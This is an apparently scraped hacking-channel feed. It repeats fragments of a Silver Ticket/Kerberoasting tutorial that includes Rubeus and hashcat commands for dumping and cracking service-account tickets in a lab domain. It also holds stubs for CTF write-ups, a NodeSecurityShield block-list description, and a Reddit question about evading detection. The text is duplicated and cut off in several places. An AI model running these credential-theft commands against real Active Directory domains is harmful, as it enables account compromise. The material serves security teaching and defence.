https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilj0PEXCnMuDNMg-lnHN0UHh4VaJ2gz1o-zJ__PkAwOX6f45sz3mPoNztgZ1vM-1EfyPpaA77O0wVw71TRJ248lJb8XBslpj3WMFwGpvsTuIHwSP1rDGxHGl89moMoXon8sFCTT0G9iWTUkz-9pcbTMSPJhbWC1KvNipKF0-iPPaRPoMRkUkqYiZvJEg/s16000/8.png?w=640&ssl=1
And of course, the entire procedure above can be done using Rubeus only. Silver Ticket using RubeusWe have already seen CIFS as an example and if you’re following the article so far, you’d be able to replicate the same with Rubeus too by using the commands given just a scroll away. Howev[...]
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
noRssMg/s16000/2.png?w=640&ssl=1 This shall dump all the hashes in machine memory including the hash of the machine account. Upon a little scrolling, we found NTLM of our machine account “dc1$” https://i0.wp.com/blogger.googleusercontent.com/img/b/R29v…
er, I wanted to target a different service this time so I set up a SQL server and assigned the service to be run by the user “sqluser” (can be done by going to run->services.msc->SQL->properties->logon)
This shall make SQL Service run via our newly created service account.
Now, we need to compromise NTLM hash of this account. We will use the Kerberoasting attack for this. Please follow our guide here to understand the attack but in short, you run the following command in Rubeus.
/domain: target FQDN
/creduser: Any valid compromised username
/credpassword: Valid password of the compromised user
/nowrap: For the ticket blob to appear in single line in Rubeus
rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLHbIAMWPF1UJF0ACeAx7DcDeCVMB6UuPmN6kQTh-rH3fD7AjrFHuei6AFx_-NrE90cuqhm35aRXntKKqLgBN97cAHEVoW5bgLSmUp5_LRMr4A8ufPextlUrhi2U-oQW_iF9iPM3dqk0ivOYB3fIWHadLoke2qIoWSbDXRWxQi7KVZey7HbnezC2FNww/s16000/9.png?w=640&ssl=1
As you can see, Rubeus has automatically determined a valid Kerberoastable account and dumped its TGS. We will now extract the Password from this TGS offline using Hashcat
hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..___________________________
@hacking_Attack
@Hacking_Video
This shall make SQL Service run via our newly created service account.
Now, we need to compromise NTLM hash of this account. We will use the Kerberoasting attack for this. Please follow our guide here to understand the attack but in short, you run the following command in Rubeus.
/domain: target FQDN
/creduser: Any valid compromised username
/credpassword: Valid password of the compromised user
/nowrap: For the ticket blob to appear in single line in Rubeus
rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLHbIAMWPF1UJF0ACeAx7DcDeCVMB6UuPmN6kQTh-rH3fD7AjrFHuei6AFx_-NrE90cuqhm35aRXntKKqLgBN97cAHEVoW5bgLSmUp5_LRMr4A8ufPextlUrhi2U-oQW_iF9iPM3dqk0ivOYB3fIWHadLoke2qIoWSbDXRWxQi7KVZey7HbnezC2FNww/s16000/9.png?w=640&ssl=1
As you can see, Rubeus has automatically determined a valid Kerberoastable account and dumped its TGS. We will now extract the Password from this TGS offline using Hashcat
hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
er, I wanted to target a different service this time so I set up a SQL server and assigned the service to be run by the user “sqluser” (can be done by going to run->services.msc->SQL->properties->logon) This shall make SQL Service run via our newly created…
ME() AS HostName
go
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZWEifHiEr6TMeRubxJLujatTeWay65ooYGMDNCw6blccqq5BTArf_e4wUnYkLtVQJ_mYxJgVxE1V_KRGLQE5RAqB2BfSWsGKAjrbwav2vkymtcxurA6YVSrnwcZOEKang6qRHIZPsN2bkUoo0LQxj8Hk0-Q3ghsDmBlW1Pz1dvB3cF5X3xIKJSSUxoQ/s16000/16.png?w=640&ssl=1
And voila! As you can see our user can now connect to the SQL service using the ticket we just forged. MitigationSince the attack is based on an offline mechanism and no DC is involved it is difficult to mitigate the attack. However, the following steps can still be taken to ensure protection:
* Enable PAC Validation. If enabled, the ticket presented shall be first validated by DC. Thus, silver tickets will be rejected right away.
* Use strong passwords to prevent bruteforce demonstrated
* Control necessary privileges or whitelist certain users that can use particular services.
* Mitigate Kerberoasting ConclusionThe article talked about Silver Ticket attack and how a particular service’s TGS can be forged using this methodology. We also demonstrated practically using 2 tools how an attacker can forge and utilize a silver ticket. In real life environment, getting a golden ticket is quite hard but silver tickets can be forged easily as awareness about Kerberos protection is not quite out there. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Domain Persistence: Silver Ticket Attack appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
go
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZWEifHiEr6TMeRubxJLujatTeWay65ooYGMDNCw6blccqq5BTArf_e4wUnYkLtVQJ_mYxJgVxE1V_KRGLQE5RAqB2BfSWsGKAjrbwav2vkymtcxurA6YVSrnwcZOEKang6qRHIZPsN2bkUoo0LQxj8Hk0-Q3ghsDmBlW1Pz1dvB3cF5X3xIKJSSUxoQ/s16000/16.png?w=640&ssl=1
And voila! As you can see our user can now connect to the SQL service using the ticket we just forged. MitigationSince the attack is based on an offline mechanism and no DC is involved it is difficult to mitigate the attack. However, the following steps can still be taken to ensure protection:
* Enable PAC Validation. If enabled, the ticket presented shall be first validated by DC. Thus, silver tickets will be rejected right away.
* Use strong passwords to prevent bruteforce demonstrated
* Control necessary privileges or whitelist certain users that can use particular services.
* Mitigate Kerberoasting ConclusionThe article talked about Silver Ticket attack and how a particular service’s TGS can be forged using this methodology. We also demonstrated practically using 2 tools how an attacker can forge and utilize a silver ticket. In real life environment, getting a golden ticket is quite hard but silver tickets can be forged easily as awareness about Kerberos protection is not quite out there. Hope you liked the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
The post Domain Persistence: Silver Ticket Attack appeared first on Hacking Articles.
___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Noter — HackTheBox [writeup]
https://cdn-images-1.medium.com/max/1402/1*BU2D0sQWJ_NOsXYIhdMKQQ.png
Noter is the Linux machine. The box IP address is 10.10.11.160
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Noter — HackTheBox [writeup]
https://cdn-images-1.medium.com/max/1402/1*BU2D0sQWJ_NOsXYIhdMKQQ.png
Noter is the Linux machine. The box IP address is 10.10.11.160
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Noter — HackTheBox [writeup]
Noter is the Linux machine. The box IP address is 10.10.11.160
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
TryHackMe: Advent of Cyber 3 (2021)
https://cdn-images-1.medium.com/max/1080/1*cLtE4yUUWRmW2sKiJkuUCg.png
TryHackMe: [Day 1] Web Exploitation Save The Gifts
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
TryHackMe: Advent of Cyber 3 (2021)
https://cdn-images-1.medium.com/max/1080/1*cLtE4yUUWRmW2sKiJkuUCg.png
TryHackMe: [Day 1] Web Exploitation Save The Gifts
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
TryHackMe: Advent of Cyber 3 (2021)
TryHackMe: [Day 1] Web Exploitation Save The Gifts
NodeSecurityShield - A Developer And Security Engineer Friendly Package For Securing NodeJS Applications
http://www.kitploit.com/2022/05/nodesecurityshield-developer-and.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2022/05/nodesecurityshield-developer-and.html
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
NodeSecurityShield - A Developer And Security Engineer Friendly Package For Securing NodeJS Applications
A Developer and Security Engineer friendly package for Securing NodeJS (https://www.kitploit.com/search/label/NodeJS) Applications. Inspired by the log4J vulnerability (https://www.kitploit.com/search/label/Vulnerability) (CVE-2021-44228 (https://nvd.nist.gov/vuln/detail/CVE-2021-44228)) which can be exploited because an application can make arbitrary network calls. We felt there is an need for an application to declare what privileges it can have so that exploitation (https://www.kitploit.com/search/label/Exploitation) of such vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) becomes harder. To achieve this, NSS (Node Security Shield) has Resource Access (https://www.kitploit.com/search/label/Access) Policy.
Resource Access Policy (RAP) Resource Access Policy is similar to CSP(Content Security Policy (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)). It lets the developer/security engineer declare what resources an application should access. And Node Security Shield will enforce it. Installation Install Node Security Shield using npm npm install nodesecurityshield Usage // Require Node Security Shield
let nodeSecurityShield = require('nodesecurityshield');
// Enable Attack Monitoring and/or Blocking
nodeSecurityShield.enableAttackMonitoring(resourceAccessPolicy ,callbackFunction); Sample resourceAccessPolicy const resourceAccessPolicy = {
"outBoundRequest" : {
"blockedDomains" : ["*.123.com", "stats.abc.com", 'xyz.com'],
"allowedDomains" : ["*.domdog.io"]
}
}; Note: blockedDomains holds precedence over allowedDomains. i.e., requests checked against blockedDomains first then allowedDomains. Sample callbackFunction for Attack Monitoring var callbackFunction = function (violationEvent) {
console.log(violationEvent);
} Sample callbackFunction for Attack Blocking var callbackFunction = function (violationEvent) {
throw new Error("Request Blocked. It violates declared Resource Access Policy.")
} Sample violationEvent {
"violationtType": "Outbound Request",
"message": "Outbound request to 'www.malicious.com' violates declared 'Resource Access Policy (RAP)'.",
"policy": {
"outBoundRequest" : {
"blockedDomains" : ["*.123.com", "stats.abc.com", 'xyz.com'],
"allowedDomains" : ["*.domdog.io"]
}
} Integrating with Sentry Sample callbackFunction to integrate with Sentry (https://sentry.io/) var callbackFunction = function (violationEvent) {
var e = new Error();
e.name = 'Resource Access Policy Violation';
e.message = JSON.stringify(violationEvent);
Sentry.captureException(e);
} Screenshot from Sentry dashboard
___________________________
@hacking_Attack
@Hacking_Video
Resource Access Policy (RAP) Resource Access Policy is similar to CSP(Content Security Policy (https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)). It lets the developer/security engineer declare what resources an application should access. And Node Security Shield will enforce it. Installation Install Node Security Shield using npm npm install nodesecurityshield Usage // Require Node Security Shield
let nodeSecurityShield = require('nodesecurityshield');
// Enable Attack Monitoring and/or Blocking
nodeSecurityShield.enableAttackMonitoring(resourceAccessPolicy ,callbackFunction); Sample resourceAccessPolicy const resourceAccessPolicy = {
"outBoundRequest" : {
"blockedDomains" : ["*.123.com", "stats.abc.com", 'xyz.com'],
"allowedDomains" : ["*.domdog.io"]
}
}; Note: blockedDomains holds precedence over allowedDomains. i.e., requests checked against blockedDomains first then allowedDomains. Sample callbackFunction for Attack Monitoring var callbackFunction = function (violationEvent) {
console.log(violationEvent);
} Sample callbackFunction for Attack Blocking var callbackFunction = function (violationEvent) {
throw new Error("Request Blocked. It violates declared Resource Access Policy.")
} Sample violationEvent {
"violationtType": "Outbound Request",
"message": "Outbound request to 'www.malicious.com' violates declared 'Resource Access Policy (RAP)'.",
"policy": {
"outBoundRequest" : {
"blockedDomains" : ["*.123.com", "stats.abc.com", 'xyz.com'],
"allowedDomains" : ["*.domdog.io"]
}
} Integrating with Sentry Sample callbackFunction to integrate with Sentry (https://sentry.io/) var callbackFunction = function (violationEvent) {
var e = new Error();
e.name = 'Resource Access Policy Violation';
e.message = JSON.stringify(violationEvent);
Sentry.captureException(e);
} Screenshot from Sentry dashboard
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Kitploit – Maintenance in Progress
Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.
Features Attack Monitoring Outbound Network Calls Attack Blocking Outbound Network Calls Roadmap Attack Monitoring Command Execution File Calls Attack Blocking Command Execution File Calls Vulnerability Scanner Authors Lavakumar Kuppan Github - @lavakumar (https://github.com/Lavakumar) Twitter - @lavakumark (https://twitter.com/lavakumark) Sukesh Pappu Github - @thelogicalbeard (https://www.github.com/thelogicalbeard) Twitter - @thelogicalbeard (https://www.twitter.com/thelogicalbeard) License Apache License 2.0 (https://github.com/DomdogSec/NodeSecurityShield/blob/main/LICENSE)
Download NodeSecurityShield (https://github.com/DomdogSec/NodeSecurityShield)
___________________________
@hacking_Attack
@Hacking_Video
Download NodeSecurityShield (https://github.com/DomdogSec/NodeSecurityShield)
___________________________
@hacking_Attack
@Hacking_Video
GitHub
Lavakumar - Overview
Lavakumar has 3 repositories available. Follow their code on GitHub.
hacking: security in practice
Can hacking tools go undetected
My company is trying out a software tool to detect hacks. We are doing a test, I'm thinking of NMAP, OWASP ZAP etc, to see if they are detected.
Is there a way to go undetected, I know NAMP can do stealth mode.
submitted by /u/Accomplished_Ad3821
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Can hacking tools go undetected
My company is trying out a software tool to detect hacks. We are doing a test, I'm thinking of NMAP, OWASP ZAP etc, to see if they are detected.
Is there a way to go undetected, I know NAMP can do stealth mode.
submitted by /u/Accomplished_Ad3821
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Can hacking tools go undetected
My company is trying out a software tool to detect hacks. We are doing a test, I'm thinking of NMAP, OWASP ZAP etc, to see if they are...